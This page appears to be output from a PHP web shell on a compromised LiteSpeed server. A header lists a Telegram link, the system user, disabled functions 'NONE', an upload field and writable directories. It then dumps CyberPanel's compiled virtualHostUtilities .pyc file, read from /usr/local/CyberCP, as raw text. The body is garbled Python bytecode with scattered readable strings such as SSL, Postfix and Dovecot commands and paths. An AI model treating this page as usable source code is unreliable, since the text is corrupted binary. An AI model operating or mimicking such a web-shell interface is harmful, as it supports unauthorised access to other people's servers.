https://t.me/RX1948
Server : LiteSpeed
System : Linux host 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
User : idnco5810 ( 1093)
PHP Version : 8.2.29
Disable Function : NONE
Directory :  /usr/local/CyberCP/plogical/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/local/CyberCP/plogical/__pycache__/virtualHostUtilities.cpython-310.pyc
o

B
#g�H�@spddlZddlZddlZddlZddlZej�d�ej�dd�ddl	m
Z
e��ddlZddl
mZddl
mZddlmZddlZddlZdd	lmZdd
l
mZddlmZddlmZdd
lmZddlmZddl m!Z!ddl"m#Z#ddl$m%Z%zddl&m'Z'm(Z(m)Z)ddl*m+Z+ddl,m-Z-ddl.m/Z/WnYGdd�d�Z0dd�Z1e2dkr�e1�dSdS)�N�/usr/local/CyberCP�DJANGO_SETTINGS_MODULEzCyberCP.settings)�randint)�installUtilities)�sslUtilities)�Process)�
mailUtilities)�CyberCPLogFileWriter)�DNS)�vhost)�
ACLManager)�ProcessUtilities)�ApacheController)�ApacheVhost)�
PHPManager)�Websites�ChildDomains�aliasDomains)�
Administrator)�Package)�
CLPackagesc@speZdZdZdZdZdZdZdZdZ	e
dd	��Ze
d
d��Ze
	d?dd��Z
e
dd��Ze
dd��Ze
dd��Ze
dd��Ze
dd��Ze
dd��Ze
dd��Ze
d@dd ��Ze
d!d"��Ze
dAd#d$��Ze
d%d&��Ze
d'd(��Ze
d)d*��Ze
d+d,��Ze
	dBd-d.��Ze
d@d/d0��Ze
d1d2��Ze
d3d4��Ze
d5d6��Z e
d7d8��Z!e
d9d:��Z"e
d;d<��Z#e
dCd=d>��Z$d
S)D�virtualHostUtilities���z/usr/local/lswsrz&/usr/local/lsws/conf/dvhost_redis.confz/usr/local/lsws/confc
Cs(ddl}ddl}tj�|d�tjjdd�}z|�|j	�}Wni}Yz|d}Wnd}Y|r5nt
j�d�r<nd}t
|�tj�||�tj�|�dSt��}	t��}
|r_|g}nt�|
�}t�d	�t
j�tj�r�t
d
|	�d|
�dt|����tj�d
|	�d|
�dt|��d
|���d|	}||	k�r�||v�r�t
j�|��r�d}t
|�tj�||�tj�|�|j�|jjt|d����}
|
����dd� d�}zt!jj|d�}|j"}|j}Wnt#jj|d�}d|�d�}Y|dk�r[d}tj�||�tj�|�t$�%|||j&�|j�|jjt|d����}
|
����dd� d�}|dk�rZd}tj�||�tj�|�||d<d	|d<||d<|�'|�|_	|�(�dSn)d}t
|�||d<d|d<||d<|�'|�|_	|�(�tj�||�tj�|�d}t�)|dd�tj�|d�dSz	t#jj|d�}Wn�z	t!jj|d�}Wn�i}|}||d<|j*|d <d!|d"<d#|d$<d%|d&<d|d'<d|d(<d|d)<d|d*<d|d+<|j+}dd,l,m-}|�}|�.|j/|�}|�|j0�}tj�d-|�|d.}	t|d���}t
j�tj��rtj�d/|�|�1d0�d1k�r#n1|�1d2�d1k�r?t|d3�}|�2d4|�|�3�YYdSt|d3�}|�2d5�|�3�t�d6��qYY|�r\|g}t
j�tj��rxtj�d7|	�d|
�dt|��d
|���||v�r�d8}t
|�tj�||�tj�|�||d<d	|d<||d<|�'|�|_	|�(�dSzt#jj|d�}d|d}Wnt!jj|d�}|j}Yd|}t$�4||d�|j�|jjt|d����}
|
����dd� d�}|dk�rd9}tj�||�tj�|�||d<d	|d<||d<|�'|�|_	|�(�dStj�|d:�t$�5||�|j�|jjt|d����}
|
����dd� d�}|dk�rld;}tj�||�tj�|�||d<d	|d<||d<|�'|�|_	|�(�dS||d<d|d<||d<|�'|�|_	|�(�d<}t�)|dd�tj�|d�dS)=NrzSetting up hostname,10r)�pk�hostname��/home/cyberpanel/postfixz7This server does not come with postfix installed. [404]rzPostfix Hostname: z. Server IP z. rDNS: z
, rDNS check z&/etc/letsencrypt/live/%s/fullchain.pemz�Hostname is already set, the same hostname is also used with mail service and rDNS. Let see if valid SSL also exists for this hostname..,10�r�utf-8��domain�/home/�/public_html�Denialz�It seems that the hostname used with mail service and rDNS does not have a valid SSL certificate, CyberPanel will try to issue valid SSL and restart related services,20z�Hostname SSL was already issued, and same hostname was used in mail server SSL, rDNS was also configured but we found invalid SSL. However, we tried to issue SSL and it failed. [404]�
onboarding�
skipRDNSCheckz�It looks like your current hostname is already the mail server hostname and rDNS is also set and there is a valid SSL, nothing needed to do.zdpostmap -F hash:/etc/postfix/vmail_ssl.map && systemctl restart postfix && systemctl restart dovecot�rootTzCompleted. [200]�
domainName�
adminEmailzPHP 8.0�phpSelection�admin�websiteOwner�Default�package�ssl�	dkimCheck�openBasedir�
mailDomain�
apacheBackend)�WebsiteManagerzCreating website result....%s�tempStatusPathz%Info web creating lastline ....... %sz[200]���z[404]�wz*Failed to Create Website: error: %s. [404]zCreating Website....,20rzSecond if: Postfix Hostname: zQDomain that you have provided is not configured as rDNS for your server IP. [404]z�Failed to issue Hostname SSL, either its DNS record is not propagated or the domain is behind Cloudflare. If DNS is already propagated you might have reached Lets Encrypt limit, please wait before trying again.. [404]zHostname SSL issued,50zrFailed to issue Mail server SSL, either its DNS record is not propagated or the domain is behind Cloudflare. [404]zdsystemctl restart postfix && systemctl restart dovecot && postmap -F hash:/etc/postfix/vmail_ssl.map)6�json�OpenSSL�loggingr	�statusWriterr�objects�get�loads�config�os�path�exists�print�writeToFiler�FetchPostfixHostnamer�fetchIP�reverse_dns_lookup�time�sleepr
�	debugPath�str�crypto�load_certificate�FILETYPE_PEM�open�read�
get_issuer�get_components�decoder�masterrr�issueSSLr*�dumps�save�executioner�emailr�websiteFunctions.websiter5�submitWebsiteCreation�id�content�find�
writelines�close�issueSSLForHostName�issueSSLForMailServer)�Domainr6r'r9r:r,r@�CurrentHostName�message�PostFixHostname�serverIP�rDNS�filePath�x509�SSLProvider�child�websiterB�command�
DataToPass�currentTemp�UserIDr5�ab�
coreResult�coreResult1�
reutrntempath�lastLine�
statusFile�ry�3/usr/local/CyberCP/plogical/virtualHostUtilities.py�OnBoardingHostName:sb

("


�




���


z'virtualHostUtilities.OnBoardingHostNamecCs�|r�tj�|d�d|}d||f}t�||d|ddd|jddttdd	���
}|ddkr7t�	||j
|�d
}tj�
|�r�t|d���}|�d|�d
krgd||||||f}	t|d�}
|
�|	�|
��d}t�|�d}t|d���}
|
�d�d
kr�t|d�}
|
�d�|
��d}z	t|d���}Wnd}Y|�d|�d
kr�d|�d|�d|�d�|||f}t|d�}
|
�|�|
��d}t�|�d}t�|�d
}tj�
|��rnt|d���}|�d|�d
k�rd|||f}	t|d�}
|
�|	�|
��d}t�|�d}t|d���}
|
�d�d
k�r)t|d�}
|
�d�|
��d}z	t|d���}Wnd}Y|�d|�d
k�r^|�d|�d|�d�}t|d�}
|
�|�|
��d}t�|�d}t�|�dSdS)NzCreating mail child domain..,80zmail.%sz/home/%s/%szPHP 7.3rrz/home/cyberpanel/���'�/etc/dovecot/dovecot.confrz	/live/%s/r7a
local_name %s {
        ssl_cert = </etc/letsencrypt/live/%s/fullchain.pem
        ssl_key = </etc/letsencrypt/live/%s/privkey.pem
}
local_name %s {
        ssl_cert = </etc/letsencrypt/live/%s/fullchain.pem
        ssl_key = </etc/letsencrypt/live/%s/privkey.pem
}

�a�systemctl restart dovecot�/etc/postfix/main.cf�tls_server_sni_mapsz7
tls_server_sni_maps = hash:/etc/postfix/vmail_ssl.map
z/etc/postfix/vmail_ssl.maprzO%s /etc/letsencrypt/live/%s/privkey.pem /etc/letsencrypt/live/%s/fullchain.pem
z /etc/letsencrypt/live/z#/privkey.pem /etc/letsencrypt/live/z/fullchain.pem
z*postmap -F hash:/etc/postfix/vmail_ssl.map�systemctl restart postfixz�
local_name %s {
        ssl_cert = </etc/letsencrypt/live/%s/fullchain.pem
        ssl_key = </etc/letsencrypt/live/%s/privkey.pem
}
)r;r	r<r�createDomain�userNamerLrr�issueSSLForDomainrZrArBrCrPrQr_�writerar
rY)r3r6�virtualHostNamer,�childDomain�	childPath�result�dovecotPath�dovecotContentr^rEro�postFixPath�postFixContent�postfixMapFile�postfixMapFileContent�
mapContentryryrz�setupAutoDiscover-s���





�



�







�z&virtualHostUtilities.setupAutoDiscover�/home/cyberpanel/fakePathNc

Cs�zOtj�|
d�tjj|d�}
|r�t�|
d�dkr$tj�|
d�WdStjj	|d��
�dkr9tj�|
d�Wd	Stjj	|�d
�d��
�dkrQtj�|
d�Wd	Stjj	|d��
�dkrftj�|
d�WdStjj	|�d
�d��
�dkr~tj�|
d�WdStj�|
d
�t
�||
�tj�|
d�t�|�dkr�tj�|
d�WdSt�|�dkr�tj�|
d�WdSd}tj�|�r�t�|�}|ddkr�t|d��t�|||||�}|ddkr�t|d��tj�|
d�tj�tj��st�|�}|ddk�rt|d��tjj|d�}|�r*t|
||||||d�}|��|
jdk�r*|j|
_|
��|dk�rjd|d}tj�|
d�tj�tj��sIt j �!�t"�#|||�}|ddk�r]t|d��tj�tj��sjt j �!�tj�|
d�|dk�r�tj�tj��s�t j �!�t�$||�tj�|
d�tj%d|}|d}|	�r�t&�'�t&j(k�r�t)�*�dk�r�t)�+|
�}|ddk�r�t|d��t,�-|||||�}|ddk�r�t|d��t,�.||�t j �!�t/�0|�}t,�1|�}d|��}t&�2|�tj�|
d�d}tj�|��r|dk�rt
�3|�d }tj�|��r#d!||
j4f}t&�5|�t�6||
||
�|j7�d"|j7�d#�}|j8�rGd$|�d%|�d&�}t&�5|�tj�|
d'�Wd(St�y�}z-t�9�dk�ret�:|�tj�;t<|�d)�tj�|
t<|�d*�dt<|�fWYd}~Sd}~ww)+N�Running some checks..,0�r�rrz:You've reached maximum websites limit as a reseller. [404])rz4You've reached maximum websites limit as a reseller.r!z"This website already exists. [404])rzThis website already exists.�www.z2This website already exists as child domain. [404])rz,This website already exists as child domain.zCreating DNS records..,10zSetting up directories..,25�,Virtual Host Directory already exists. [404]�rz&Virtual Host Directory already exists!�"This domain exists as Alias. [404])rzThis domain exists as Alias.r�Creating configurations..,50)�packageName)r,r/r"r*r+r0�externalAppr#r$zSetting up SSL..,70zSSL set up done..,70zvHost finalized..,70�
/conf/vhosts/�/vhost.conf�systemctl restart zDKIM Setup..,70z/etc/sysconfig/cloudlinuxzO/usr/share/cloudlinux/hooks/post_modify_user.py create --username %s --owner %szM �Mzsetquota -u � z 0 0 /z#Website successfully created. [200]�r�Nonez  [createVirtualHost]z [404])=r;r	r<rr=r>r�websitesLimitCheckr�filter�count�lstriprr
�dnsTemplater�checkIfVirtualHostExists�checkIfAliasExistsrArBrCr�	setupDKIM�
BaseException�createDirectoryForVirtualHostr�	redisConf�!createConfigInMainVirtualHostFilerrX�defaultSiter]r�reStartLiteSpeedrr��finalizeVhostCreation�Server_rootr
�decideServer�OLSr�checkIfApacheInstalled�setupApacher�setupApacheVhost�perHostVirtualConfOLSr�getPHPString�DecideFPMServiceName�normalExecutioner�createDKIMRecordsr�rYr��	diskSpace�enforceDiskLimits�FindIfChild�deleteVirtualHostConfigurationsrErL)r��administratorEmail�
phpVersion�virtualHostUserr0r1r2r-r��apacher6r3�LimitsCheckr,�postfixPath�	retValues�selectedPackagern�sslPath�confPath�completePathToConfigFiler��php�
phpServiceror��CLPath�spaceString�msgryryrz�createVirtualHost�s�����
�
�






�






�


��z&virtualHostUtilities.createVirtualHostc
Cs�zDt�|||�}|ddkr+tdt|d��tj�t|d��dt|d�fWStj��d}t	�
|�d}t	�
|�td�WdStyn}ztj�t|�d�tdt|��dt|�fWYd}~Sd}~ww)	Nr�0,rr�r��1,None)rN� [issueSSL])rr�rDrLr;r	rErr�r
rYr�)�virtualHostrBr*r�ror�ryryrzrVas&


��zvirtualHostUtilities.issueSSLc
CszWddlm}|�|||�}|ddkr1tdt|d��tj�t|d��dt|d�fWStj�	�d}t
�|�d}t
�|�tdt|d����dt|d�fWSty�}ztj�t|�d�tdt|��dt|�fWYd}~Sd}~ww)Nrr�rr�r�z1,r�)
�plogical.sslv2�sslv2r�rDrLr;r	rErr�r
rYr�)r�rBr*r�r�ror�ryryrz�
issueSSLv2|s(


��zvirtualHostUtilities.issueSSLv2c
Csbz�tj�|�rtd|�WdSd}tt�d||��d�d�}|dkr.t�d||�}n[|dkr[|}|d	}|dkr>d}d
t|�dt|�d}d
|d|}	t�|	|�}n.||dd}|d	}|dkrmd}d
t|�dt|�d}d
|d|}	t�|	|�}t|�|WSt	y�}
zt
j�t|
�d�td�WYd}
~
dSd}
~
ww)N�0, %s file is symlinked.r�nobody�wc -l %sr���cat %sr��'�,�p'�sed -n z  [getAccessLogs]r��
rArB�islinkrD�intr
�outputExecutioner�splitrLr�r;r	rE)�fileName�pager��	groupName�numberOfTotalLines�data�end�start�startingAndEndingror�ryryrz�
getAccessLogs�sF�
���z"virtualHostUtilities.getAccessLogsc

Cs^z�tj�|�rtd|�WdStt�d||��d�d�}|dkr,t�d||�}n[|dkrY|}|d}|dkr<d}d	t|�d
t|�d}d|d|}t�||�}n.||dd}|d}|dkrkd}d	t|�d
t|�d}d|d|}t�||�}t|�|WSt	y�}	zt
j�t|	�d
�td�WYd}	~	dSd}	~	ww)Nr�rr�r�r�r�rr�r�r�r�r�z  [getErrorLogs]r�r�)
r�r�r�r�r�r�r�r�ror�ryryrz�getErrorLogs�sD�
���z!virtualHostUtilities.getErrorLogsc
Cs�z*t|d�}|�t|d����|��tj�|�rt�|�tj�	�t
d�WdStyO}ztj
�t|�d�t
dt|��WYd}~dSd}~ww)Nr8rr�z  [saveVHostConfigs]r�)rPr�rQrarArBrC�removerr�rDr�r;r	rErL)r��tempPathrr�ryryrz�saveVHostConfigs�s



���z%virtualHostUtilities.saveVHostConfigsc
Cs�z0t|d�}|�t|d����|��tj�|�rt�|�dtj	��}t
�|�td�WdSt
yU}ztj�t|�d�tdt|��WYd}~dSd}~ww)Nr8rr�r�z  [saveApacheConfigsToFile]r�)rPr�rQrarArBrCr�r�serviceNamer
r�rDr�r;r	rErL)r�r�rror�ryryrz�saveApacheConfigsToFile�s 



���z,virtualHostUtilities.saveApacheConfigsToFilec
Cs�z?tj�|�rtd�WdSt�||�t|d�}|�t|d����|�	�z
tj�
|�r3t�|�WnYtd�WdStyd}zt
j�t|�d�tdt|��WYd}~dSd}~ww)Nz0, .htaccess file is symlinked.rr8rr�z  [saveRewriteRules]r�)rArBr�rDr�addRewriteRulesrPr�rQrarCr�r�r;r	rErL)r�r�r��	vhostFiler�ryryrz�saveRewriteRuless,

�
���z%virtualHostUtilities.saveRewriteRulesrc
Csz�d}d}d}d}d}d}d|d}	d|d	}
d
|}t�|||�}|ddkr;tdt|d
��d|d
fWSd|}
t�|
�tj�|�rOt�	|�tj�|�rZt�	|�tj�|�ret�	|�tj�|�rpt�	|�d|	}
t�|
�d|
}
t�|
�tj�|�r�t�	|�tj�|�r�t�	|�d|	}
t�|
�d|
}
t�|
�d|	|f}
t�
|
�d|
|f}
t�
|
�|r�nd}
t�|
�}t
�|�td�WdSty�}ztj�t|�d�tdt|��dt|�fWYd}~Sd}~ww)Nz/usr/local/lscp/conf/key.pemz/usr/local/lscp/conf/cert.pemz)/usr/local/lsws/admin/conf/cert/admin.keyz)/usr/local/lsws/admin/conf/cert/admin.crtz'/usr/local/lsws/admin/conf/webadmin.keyz'/usr/local/lsws/admin/conf/webadmin.crt�/etc/letsencrypt/live/�/fullchain.pem�/privkey.pem�email@rr�r�chmod 600 %sz2ln -s %s /usr/local/lsws/admin/conf/cert/admin.crtz2ln -s %s /usr/local/lsws/admin/conf/cert/admin.keyz0ln -s %s /usr/local/lsws/admin/conf/webadmin.crtz0ln -s %s /usr/local/lsws/admin/conf/webadmin.keyzln -s %s %szsystemctl restart lscpdr�r��  [issueSSLForHostName])rr�rDrLr
r�rArBrCr�rY�shlexr��
subprocess�callr�r;r	rE)r�rB�skipLSCPDRestart�destPrivKey�destCert�lswsAdminPrivKey�
lswsAdminCert�olsAdminPrivKey�olsAdminCert�pathToStoreSSLFullChain�pathToStoreSSLPrivKeyr*r�ro�cmdr�ryryrzrb/sj














��z(virtualHostUtilities.issueSSLForHostNamec

Cs~�zd|d}d|d}d|}t�|||�}|ddkr0tdt|d��d|dfWStj�d�r;t�d�tj�d	�rFt�d	�tj�d
�rQt�d
�tj�d�r\t�d�tj�d�rgt�d�tj�d
�rrt�d
�d|}t�	|�d|}t�	|�d|}t�	|�d|}t�	|�d|}t�	|�d|}t�	|�d}t
|d���}t
|d�}	|D]}
|
�d�dkr�|	�
d|d�q�|	�
|
�q�|	��d}t
|d���}t
|d�}	|D]}
|
�d�dkr�|	�
d|d�q�|	�
|
�q�|	��ttjdd�}|��td �Wd!St�y>}ztj�t|�d"�tdt|��dt|�fWYd}~Sd}~ww)#Nr�r�r�r�rr�rz/etc/postfix/cert.pemz/etc/postfix/key.pemz$/etc/pki/dovecot/private/dovecot.pemz"/etc/pki/dovecot/certs/dovecot.pemz/etc/dovecot/key.pemz/etc/dovecot/cert.pemzln -s %s /etc/postfix/key.pemzln -s %s /etc/postfix/cert.pemz-ln -s %s /etc/pki/dovecot/private/dovecot.pemz+ln -s %s /etc/pki/dovecot/certs/dovecot.pemzln -s %s /etc/dovecot/key.pemzln -s %s /etc/dovecot/cert.pemr~rr8�postmaster_addressr7z$    postmaster_address = postmaster@�
r��
myhostnamez
myhostname = ry)�target�argsr�r�r)rr�rDrLrArBrCr�r
rYrP�	readlinesr_r`rarr�restartServicesr�r�r;r	rE)
r�rB�srcFullChain�
srcPrivKeyr*r�rorjr��	writeFile�items�pr�ryryrzrc�sx














���z*virtualHostUtilities.issueSSLForMailServerc
Cs��z/tjj|d�}t�||�t�|�dkrtd�WdSt�	�tj
kr�tj�
tjd�}t|d���}t|d�}	d}
|D]L}|�d�d	krN|�d
�d	krNd}
|�d|�d	kr�|�d�d	kr�|
dkr�d
d�|�d�D�}|d|kr�|	�|�d�d|d�d}
q<|	�|�q<|	��n;tjd|d}t|d���}t|d�}	|D]}|�d�d	kr�|�d�}|	�|d|d�q�|	�|�q�|	��tj��|dk�rt�||||�}
t�	�tj
kr�|
ddkr�tdt|
d��WdSt�|||�nt�||||�}
|
ddk�rtdt|
d��WdStjj|d�}t||d�}|� �td�WdSt!�yV}zt"j#�$t|�d�tdt|��WYd}~dSd}~ww)Nr�rz00, This domain already exists as vHost or Alias.�conf/httpd_config.confrr8r�listenerr7r.r��mapcS�g|]}|r|�qSryry��.0�_fryryrz�
<listcomp>��z4virtualHostUtilities.createAlias.<locals>.<listcomp>r�, r�r��ServerAliasr�r!)rU�aliasDomainr�z  [createAlias])%rr=r>r
r�rr�rDr
r�r�rArB�joinrr�rPrr_r�r`�rstripra�striprr�rr�rL�createAliasSSLMaprrrXr�r;r	rE)�masterDomainr&r0r�r��ownerr,r�r�rE�listenerTrueCheckr�completePathToConfr�rn�newAliasr�ryryrz�createAlias�sh
(�




��z virtualHostUtilities.createAliasc
Cs�zLt�||||�}t��tjkr3tj�tj	d�}|ddkr+t
dt|d��WdSt�
|||�n|ddkrFt
dt|d��WdSt
d�WdStyq}ztj�t|�d�t
dt|��WYd}~dSd}~ww)Nrrr�rr�z  [issueAliasSSL])rr�r
r�r�rArBr'rr�rDrLrr*r�r;r	rE)r+r&r�r�r�r�r�ryryrz�
issueAliasSSL-s"��z"virtualHostUtilities.issueAliasSSLc
Cs|t��tjkr�z�tj�tjd�}t|d��	�}t|d�}g}|D]i}|�
|�dkr�|�
d�dkr�dd�|�d�D�}|d	|kr~t|�}t
d
|�D]}||�d��d�}	|	|kr^|�|	�qId
}
|D]}d|}
qc|�d|d||
d�g}d
}
q |�|�q |�|�q |��tj��tjj|d�}|��td�WdSty�}
ztj�t|
�d�tdt|
��WYd}
~
dSd}
~
wwzMtjd|d}t|d��	�}t|d�}|D]}|�
d�dkr�|�|�d|d
��q�|�|�q�|��tj��tjj|d�}|��td�WdSt�y=}
ztj�t|
�d�tdt|
��WYd}
~
dSd}
~
ww)Nrrr8r7rcSrryryrryryrzr"Sr#z4virtualHostUtilities.deleteAlias.<locals>.<listcomp>r�rrr�rrr$z  map                     )r&r�z  [deleteAlias]r�r�r�r%) r
r�r�rArBr'rr�rPrr_r��len�ranger(r)�appendr`rarr�rr=r>�deleterDr�r;r	rErL�replace)r+r&r�r�rE�aliasesr�length�i�currentAlias�aliasString�alias�delAliasr�r.ryryrz�deleteAliasFsl

�
�
��

��z virtualHostUtilities.deleteAliasc
Cs�t��tjkr�z�tjd|}|d}t|d���}|dkr:t|d�}|D]}|�d�dkr/q%|�|�q%|�	�nBd}t|d�}|D]4}|�d	�dkrT|�|�d
}qC|�d�dkrr|�|�|d
krl|�d�d}qC|�d
�qC|�|�qC|�	�t
j
��td�WdSt
y�}ztj�t|�d�tdt|��WYd}~dSd}~wwz�tjd|}|d}t|d���}|dkr�t|d�}|D]}|�d�dkr�q�|�|�q�|�	�nfd}	ztjj|d�}
|
j}	Wn
d|d}	Yd}t|d�}|D]?}|�d�dk�rd
}|�|��q|d
k�r;d}|�d�dk�r+|�|��q|�d|	d�|�|��q|�|��q|�	�t
j
��td�WdSt
�yw}ztj�t|�d�tdt|��WYd}~dSd}~ww)Nr�r�r�Disabler8�php_admin_valuer7rzcontext /.filemanagerr�phpIniOverridezVphp_admin_value open_basedir "/tmp:/usr/local/lsws/Example/html/FileManager:$VH_ROOT"
z-php_admin_value open_basedir "/tmp:$VH_ROOT"
r�z  [changeOpenBasedir]r��open_basedirrr!r#r$z
CustomLog zF        php_admin_value open_basedir /usr/local/lsws/FileManager:/tmp:r)r
r�r�rr�rPrr_r`rarr�rDr�r;r	rErLrr=r>rB)r)�openBasedirValuer�r�r�rEr�fileManagerCheckr�rBr��activateryryrz�changeOpenBasedir�s�




�

��







�

��z&virtualHostUtilities.changeOpenBasedirc
CsBz{d|}d|}t�t�|��|d}|d}t|d�}|�t|d����|��t|d�}|�t|d����|��t�	|�t�	|�t
j
�|�tj�
�ttjd�}	d|}t�|�}
tj|
|	tjd�d	|}t�|�td
�WdSty�}ztj�t|�d�tdt|��WYd}~dSd}~ww)
Nr�z	mkdir -p r�r�r8rzchown lsadm:lsadm )�stdout�stderrrr�z  [saveSSL]r�)rrrr�rPr�rQrarAr�r�installSSLForDomainrr��devnull�STDOUTr
r�rDr�r;r	rErL)r��keyPath�certPath�pathToStoreSSLror
r�privkey�	fullchain�FNULLrr�ryryrz�saveSSL�s<







���zvirtualHostUtilities.saveSSLc
Cs��ztj�|	d�tjj|d�}tjj|d�}
|
r�t�||�tjj	|d��
�dkr4tj�|	d�WdStjj	|�d�d��
�dkrLtj�|	d�WdStjj	|d��
�dkratj�|	d�Wd	Stjj	|�d�d��
�dkrytj�|	d�Wd	S|
j
j}|
j
jdkr�|�|�d
kr�n
tj�|	d�WdS|dkr�n||
j���
�kr�n
tj�|	d
�WdSt�|�dkr�tj�|	d�WdSt�|�dkr�tj�|	d�tj�|	d�d}tj�|�r�t�|�}|ddkr�t|d��ttjd�}tj�|	d�t�|||||
j|
j |�}|ddk�rt|d��tj�t!j"��s/t�#||�}|ddk�r/t|d��|
�r@t|
|||||d�}|�$�|dk�r{tj�|	d�tj�t!j"��sYt%j%�&�t'�(||
j|�}tj�t!j"��snt%j%�&�|ddk�r{t|d��|dk�r�tj�t!j"��s�t%j%�&�t�)|
j |�tj*d|}|d}|�r�t+�,�t+j-k�r�t.�/�dk�r�t.�0|	�}|ddk�r�t|d��t1�2|
j|
j |
j |||�}|ddk�r�t|d��t1�3||
j�t%j%�&�t4�5|�}t1�6|�}d|��}t+�7|�d}tj�|��r|dk�rt�8|�tj�|	d�WdSt�y^}z8t9�:�dk�r9tj�
�tj�
�}t�;||�tj�|	t<|�d�tj�=t<|�d�dt<|�fWYd}~Sd}~ww) Nr�r�r!rz.This Domain already exists as a website. [404])rz(This Domain already exists as a website.r�z1This domain already exists as child domain. [404])rz+This domain already exists as child domain.r7z;Fully qualified domain is not allowed in the package. [404])rz5Fully qualified domain is not allowed in the package.z:Exceeded maximum number of domains for this package. [404])rz3Exceeded maximum number of domains for this packagerr�r�r�zDKIM Setup..,30rr8r�)rUr"rBr+r0�alaiszCreating SSL..,50r�r�r�z"Domain successfully created. [200]r�z. [404]z  [createDomain])>r;r	r<rr=r>rr
r�r�r�r�rr/�allowedDomains�allowFullDomainr_�childdomains_set�allrr�r�rArBrCrr�r�rPrJ�createDirectoryForDomainr*r�rr�� createConfigInMainDomainHostFilerXrr�rr��finalizeDomainCreationr�r
r�r�rr�r�r�setupApacheVhostChildr�rr�r�r�r�rr��deleteCoreConfrLrE)r+r�r�rBr0r1r2r,r�r6r�r<r,rU�domainsInPackager�r�rQrnr�r�r�r�r�ror��numberOfWebsitesryryrzr� s��������

�
�






�







���z!virtualHostUtilities.createDomainc
Cs�z3tj��tj��}t�||�tjj|d�}|r$d|j}t�	|�|�
�tj��t
d�WdSty]}ztj�t|�d�t
dt|��dt|�fWYd}~Sd}~ww)Nr!z	rm -rf %sr�r�z  [deleteDomain]r�r)rr=r�rrr\r>rBr
rYr5rr�rDr�r;r	rErL)r��
DeleteDocRootr^�
delWebsiteror�ryryrz�deleteDomain�s&



���z!virtualHostUtilities.deleteDomainc
Cs��z#tj�|d�d}z	tjj|d�}Wn
tjj|d�}d}Ytjd|}|d}|t	j
kr�tj�
|�r=t�|�t��dkrTt�|�}|ddkrTt|d��tj�|d�|rft�||jj�nt�||j�|r�t�|jj|jj|jj|||j�nt�|j|j|j||�tj�|d�t�|�}	t�|�}
d	|
��}t�|�d
|
��}t�|�d
tj��}t�|�t j �!�tj�|d�WdStj�|d�t�"|�|r�t�#|j|jj$|||jj||jjd�n!t�%||j|j||d�d|�d
�}tj�
|��rt&j&�'||j�tj�|d�t j �!�tj�|d�WdSt�yM}
ztj�|dt(|
��tj�)t(|
�d�WYd}
~
dSd}
~
ww)NzStarting Conversion..,0rr!rr�r�z#Creating apache configurations..,90z Restarting servers and phps..,90zsystemctl stop r�zSuccessfully converted.[200]r�r�zRestarting server..,90zSuccessfully converted. [200]z%s[404]z  [switchServer])*r;r	r<rr=r>rrr�rr�rArBrCr�rr�r�r�rr�rUr*r[r�r�rr�r�r
r�r�rr��DeleteApacheVhost�perHostDomainConfr"�perHostVirtualConfrrIrLrE)r�r��serverr6rmrnr�r�r�r�r�ro�	sslFCPathr�ryryrz�switchServer�sz


��








��
"��z!virtualHostUtilities.switchServerc	Cs�z+tjd|dd��d���d}td�t|�}t|�t|�}t|�t|�g}|WStyMzt|�td�gWYStd�td�gYYSw)N�du -hs %s --block-size=1MT��shellr r�d)r�check_outputrTr��floatr�r�)rB�totalAllowed�totalUsageInMB�
percentager�ryryrz�getDiskUsage3s��z!virtualHostUtilities.getDiskUsagecCs8ztjd|dd��d���dWStyYdSw)NrhTrir r�0MB)rrlrTr�r�)rBryryrz�getDiskUsageofPathFs
"�z'virtualHostUtilities.getDiskUsageofPathc
C�Zzd|}t�|�}t�|�}WdSty,}ztj�t|��WYd}~dSd}~ww)Nz%sudo chown -R  cyberpanel:cyberpanel �	rr�rrr�r;r	rErL�rBror�resr�ryryrz�permissionControlM�
��z&virtualHostUtilities.permissionControlc
Crt)Nzsudo chown -R  root:root rurvryryrz�leaveControlYryz!virtualHostUtilities.leaveControlcCs^ddl}z|�|j�}|d}|d}|d}|d}Wnd}d}d}d}Y||||fS)Nr�	DiskUsage�DiskUsagePercentage�bwInMB�bwUsage)r9r?r@)rnr9r@r{r|r}r~ryryrz�	FindStatseszvirtualHostUtilities.FindStatsc
Cs��z"d|��}d}tj�|�rd}nd}tj�d|�d�}	|�d|��}
d|��}d	|��}t�|�d
|�d|�d|��}t�|�d
|��}
d|��}t��tjk�r0tj�|
�r�d|
��}t�||�d}t	|	d��
�}t	|	d�}|D]}|�|
�dkr�d}qv|�|�dkr�d}qv|dkr�|�|�qv|�
��n|t	|	d�}ddlm}|j}|�dttdd���}|�d|�}|�d|�}|�d|
�}|�|�|�
�ddl}|��}|�||���}|�d|���d|��}t	|d�}|�|�|�
�d|�d|
��}t�||�t�|�d|
��}t�||d�d |�d!|�d"|�d|�d|
��
}t�|�n�ttdd��}|�d#�}tj�|
��r�d|
��}t�||�d}tj�|��r�t	|d��
�}t	|d�}|D]%}|�|
�dk�rsd}�qe|�|�dk�rd}�qe|dk�r�|�|��qe|�
�n�t	|d�}ddlm}|j}|�d|�}|�d|�}|�d|
�}|�|�|�
�ddl}|��}|�||���}|�d|���d|��}t	|d�}|�|�|�
�d|�d|
��}t�||�t�|�d|
��}t�||d�d |�d!|�d"|�d|�d|
��
}t�|�tj��td$�WdSt�yE}ztd%t|����dt|�fWYd}~Sd}~ww)&Nr#z/etc/lsb-release�nogroupr�z/vhosts/r��/z/usr/local/CyberCP/ztouch zchown  �:r�z PASSWORD PROTECTION CONF STARTS zPASSWORD PROTECTION CONF ENDS zrm -f rrr8r7rr)�
vhostConfsz{{RealM_Name}}r|r}z{{path}}z{{wpid}}z{{PassFile}}zcp z
chmod 640 Tzsudo -u z -g z chown z
/.htaccessr�r�)rArBrCr�
vhostConfPathr
rYr�r�rPrr_r`rar��	OLSPPConfr6rLrr��bcrypt�encode�hashpw�gensaltrTr��LSWSPPProtectionrr�rDr�)�	vhostName�username�passwordrB�wpidr��vhostPassDir�
uBuntuPath�groupr��
htpassword�
htpasstempro�FindLine�FindLineEnd�removeCheckr�rE�liner�r�r��hashed�UserPass�	RealmName�htaccesspathr�r�ryryrz�EnableDisablePPws�









�





"




��





"

��z$virtualHostUtilities.EnableDisablePP)r�Nr)r)N)r�rr)NNNNN)%�__name__�
__module__�__qualname__r��ols�lswsr��
cyberPanelr�r��staticmethodr{r�r�rVr�r�r�r�r�r�rbrcr0r1r>rFrRr�rargrqrsrxrzrr�ryryryrzr.s�
s
|�7


'
%


P
